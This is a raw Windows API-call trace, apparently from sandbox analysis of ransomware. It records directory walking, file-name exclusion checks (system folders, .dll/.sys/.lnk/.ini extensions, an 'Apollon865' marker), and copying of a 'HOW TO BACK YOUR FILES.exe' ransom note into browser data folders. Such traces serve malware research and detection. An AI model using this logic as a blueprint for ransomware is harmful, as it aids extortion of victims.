	[0046.306] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ace4f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33ace4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.306] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.306] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe35acf0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe35acf0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x306293b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", cAlternateFileName="RECOVE~2.DAT")) returned 1
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="Apollon865.txt.exe") returned 1
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2=".") returned 1
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="..") returned 1
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="windows") returned -1
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="bootmgr") returned 1
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="temp") returned -1
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="pagefile.sys") returned 1
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="boot") returned 1
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="ids.txt") returned 1
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="ntuser.dat") returned 1
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="perflogs") returned 1
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="MSBuild") returned 1
	[0046.306] lstrlenW (lpString="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned 56
	[0046.306] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*") returned 94
	[0046.306] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat" | out: lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat"
	[0046.306] lstrlenW (lpString="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned 56
	[0046.306] lstrlenW (lpString="Apollon865") returned 10
	[0046.306] lstrcmpiW (lpString1="84A00}.dat", lpString2="Apollon865") returned -1
	[0046.306] lstrlenW (lpString=".dll") returned 4
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2=".dll") returned 1
	[0046.306] lstrlenW (lpString=".lnk") returned 4
	[0046.306] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2=".lnk") returned 1
	[0046.307] lstrlenW (lpString=".ini") returned 4
	[0046.307] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2=".ini") returned 1
	[0046.307] lstrlenW (lpString=".sys") returned 4
	[0046.307] lstrcmpiW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2=".sys") returned 1
	[0046.307] lstrlenW (lpString="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned 56
	[0046.307] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat" | out: lpString1="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat") returned="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat"
	[0046.307] lstrlenW (lpString="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat") returned 56
	[0046.307] lstrlenW (lpString="Apollon865") returned 10
	[0046.307] lstrcmpiW (lpString1="84A00}.dat", lpString2="Apollon865") returned -1
	[0046.307] lstrlenW (lpString=".dll") returned 4
	[0046.307] lstrcmpiW (lpString1="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat", lpString2=".dll") returned 1
	[0046.307] lstrlenW (lpString=".lnk") returned 4
	[0046.307] lstrcmpiW (lpString1="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat", lpString2=".lnk") returned 1
	[0046.307] lstrlenW (lpString=".ini") returned 4
	[0046.307] lstrcmpiW (lpString1="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat", lpString2=".ini") returned 1
	[0046.307] lstrlenW (lpString=".sys") returned 4
	[0046.307] lstrcmpiW (lpString1="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat", lpString2=".sys") returned 1
	[0046.307] lstrlenW (lpString="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat") returned 56
	[0046.307] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat" | out: lpString1="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat"
	[0046.307] lstrlenW (lpString="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned 42
	[0046.307] lstrlenW (lpString="Apollon865") returned 10
	[0046.307] lstrcmpiW (lpString1="84A00}.dat", lpString2="Apollon865") returned -1
	[0046.307] lstrlenW (lpString=".dll") returned 4
	[0046.307] lstrcmpiW (lpString1="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2=".dll") returned 1
	[0046.307] lstrlenW (lpString=".lnk") returned 4
	[0046.307] lstrcmpiW (lpString1="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2=".lnk") returned 1
	[0046.307] lstrlenW (lpString=".ini") returned 4
	[0046.307] lstrcmpiW (lpString1="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2=".ini") returned 1
	[0046.307] lstrlenW (lpString=".sys") returned 4
	[0046.307] lstrcmpiW (lpString1="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2=".sys") returned 1
	[0046.307] lstrlenW (lpString="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned 42
	[0046.308] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat" | out: lpString1="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat"
	[0046.308] lstrlenW (lpString="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned 42
	[0046.308] lstrlenW (lpString="Apollon865") returned 10
	[0046.308] lstrcmpiW (lpString1="84A00}.dat", lpString2="Apollon865") returned -1
	[0046.308] lstrlenW (lpString=".dll") returned 4
	[0046.308] lstrcmpiW (lpString1="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2=".dll") returned 1
	[0046.308] lstrlenW (lpString=".lnk") returned 4
	[0046.308] lstrcmpiW (lpString1="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2=".lnk") returned 1
	[0046.308] lstrlenW (lpString=".ini") returned 4
	[0046.308] lstrcmpiW (lpString1="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2=".ini") returned 1
	[0046.308] lstrlenW (lpString=".sys") returned 4
	[0046.308] lstrcmpiW (lpString1="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2=".sys") returned 1
	[0046.308] lstrlenW (lpString="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned 42
	[0046.308] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active"
	[0046.308] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0046.308] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0046.308] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active") returned 87
	[0046.308] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active"
	[0046.308] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.308] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\active\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.312] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.312] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33ace4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33ace4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.312] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.312] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.312] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.312] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33ace4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33ace4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.312] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.312] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.313] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.313] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.313] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ace4f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33ace4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.313] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.313] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ace4f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33ace4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.313] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.313] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cb0
	[0046.313] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore"
	[0046.313] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d28 | out: hHeap=0x580000) returned 1
	[0046.313] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0046.313] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore") returned 80
	[0046.313] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore"
	[0046.313] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.313] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.324] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.324] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x33af4650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33af4650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.324] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.324] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.324] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.324] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x33af4650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33af4650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.324] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.324] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.324] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.324] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.324] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3LKBQZJ3", cAlternateFileName="")) returned 1
	[0046.324] lstrcmpiW (lpString1="3LKBQZJ3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.325] lstrcmpiW (lpString1="3LKBQZJ3", lpString2="Apollon865.txt.exe") returned -1
	[0046.325] lstrcmpiW (lpString1="3LKBQZJ3", lpString2=".") returned 1
	[0046.325] lstrcmpiW (lpString1="3LKBQZJ3", lpString2="..") returned 1
	[0046.325] lstrcmpiW (lpString1="3LKBQZJ3", lpString2="windows") returned -1
	[0046.325] lstrcmpiW (lpString1="3LKBQZJ3", lpString2="bootmgr") returned -1
	[0046.325] lstrcmpiW (lpString1="3LKBQZJ3", lpString2="temp") returned -1
	[0046.325] lstrcmpiW (lpString1="3LKBQZJ3", lpString2="pagefile.sys") returned -1
	[0046.325] lstrcmpiW (lpString1="3LKBQZJ3", lpString2="boot") returned -1
	[0046.325] lstrcmpiW (lpString1="3LKBQZJ3", lpString2="ids.txt") returned -1
	[0046.325] lstrcmpiW (lpString1="3LKBQZJ3", lpString2="ntuser.dat") returned -1
	[0046.325] lstrcmpiW (lpString1="3LKBQZJ3", lpString2="perflogs") returned -1
	[0046.325] lstrcmpiW (lpString1="3LKBQZJ3", lpString2="MSBuild") returned -1
	[0046.325] lstrlenW (lpString="3LKBQZJ3") returned 8
	[0046.325] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\*") returned 82
	[0046.325] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="3LKBQZJ3" | out: lpString1="3LKBQZJ3") returned="3LKBQZJ3"
	[0046.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0046.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb4) returned 0x5c1458
	[0046.325] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0046.325] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8NES5H33", cAlternateFileName="")) returned 1
	[0046.325] lstrcmpiW (lpString1="8NES5H33", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.325] lstrcmpiW (lpString1="8NES5H33", lpString2="Apollon865.txt.exe") returned -1
	[0046.325] lstrcmpiW (lpString1="8NES5H33", lpString2=".") returned 1
	[0046.325] lstrcmpiW (lpString1="8NES5H33", lpString2="..") returned 1
	[0046.325] lstrcmpiW (lpString1="8NES5H33", lpString2="windows") returned -1
	[0046.325] lstrcmpiW (lpString1="8NES5H33", lpString2="bootmgr") returned -1
	[0046.325] lstrcmpiW (lpString1="8NES5H33", lpString2="temp") returned -1
	[0046.325] lstrcmpiW (lpString1="8NES5H33", lpString2="pagefile.sys") returned -1
	[0046.325] lstrcmpiW (lpString1="8NES5H33", lpString2="boot") returned -1
	[0046.325] lstrcmpiW (lpString1="8NES5H33", lpString2="ids.txt") returned -1
	[0046.325] lstrcmpiW (lpString1="8NES5H33", lpString2="ntuser.dat") returned -1
	[0046.325] lstrcmpiW (lpString1="8NES5H33", lpString2="perflogs") returned -1
	[0046.325] lstrcmpiW (lpString1="8NES5H33", lpString2="MSBuild") returned -1
	[0046.326] lstrlenW (lpString="8NES5H33") returned 8
	[0046.326] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3") returned 89
	[0046.326] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="8NES5H33" | out: lpString1="8NES5H33") returned="8NES5H33"
	[0046.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0046.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb4) returned 0x5c1518
	[0046.326] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0046.326] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FKLUIDU0", cAlternateFileName="")) returned 1
	[0046.326] lstrcmpiW (lpString1="FKLUIDU0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.326] lstrcmpiW (lpString1="FKLUIDU0", lpString2="Apollon865.txt.exe") returned 1
	[0046.326] lstrcmpiW (lpString1="FKLUIDU0", lpString2=".") returned 1
	[0046.326] lstrcmpiW (lpString1="FKLUIDU0", lpString2="..") returned 1
	[0046.326] lstrcmpiW (lpString1="FKLUIDU0", lpString2="windows") returned -1
	[0046.326] lstrcmpiW (lpString1="FKLUIDU0", lpString2="bootmgr") returned 1
	[0046.326] lstrcmpiW (lpString1="FKLUIDU0", lpString2="temp") returned -1
	[0046.326] lstrcmpiW (lpString1="FKLUIDU0", lpString2="pagefile.sys") returned -1
	[0046.326] lstrcmpiW (lpString1="FKLUIDU0", lpString2="boot") returned 1
	[0046.326] lstrcmpiW (lpString1="FKLUIDU0", lpString2="ids.txt") returned -1
	[0046.326] lstrcmpiW (lpString1="FKLUIDU0", lpString2="ntuser.dat") returned -1
	[0046.326] lstrcmpiW (lpString1="FKLUIDU0", lpString2="perflogs") returned -1
	[0046.326] lstrcmpiW (lpString1="FKLUIDU0", lpString2="MSBuild") returned -1
	[0046.326] lstrlenW (lpString="FKLUIDU0") returned 8
	[0046.326] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33") returned 89
	[0046.326] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="FKLUIDU0" | out: lpString1="FKLUIDU0") returned="FKLUIDU0"
	[0046.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0046.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb4) returned 0x5c15d8
	[0046.326] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0046.326] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ace4f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33ace4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.326] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.326] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x125db390, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0046.326] lstrcmpiW (lpString1="index.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.326] lstrcmpiW (lpString1="index.dat", lpString2="Apollon865.txt.exe") returned 1
	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2=".") returned 1
	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2="..") returned 1
	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2="windows") returned -1
	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2="bootmgr") returned 1
